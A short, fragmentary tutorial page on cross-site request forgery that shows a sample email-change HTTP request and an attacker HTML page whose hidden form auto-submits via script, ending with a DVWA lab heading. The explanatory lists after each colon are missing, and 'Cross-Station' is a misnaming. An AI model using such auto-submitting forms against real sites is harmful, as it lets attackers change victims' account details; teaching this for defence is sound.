What is CSRF

Example CSRF

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE
[email protected]

This meets the conditions required for CSRF:

With these conditions in place, the attacker can construct a web page containing the following HTML:

<html>
  <body>
    <form action="<https://vulnerable-website.com/email/change>" method="POST">
      <input type="hidden" name="email" value="[email protected]" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

If a victim user visits the attacker's web page, the following will happen:

Live demo

DVWA-CSRF (Cross-Station Request Forgery)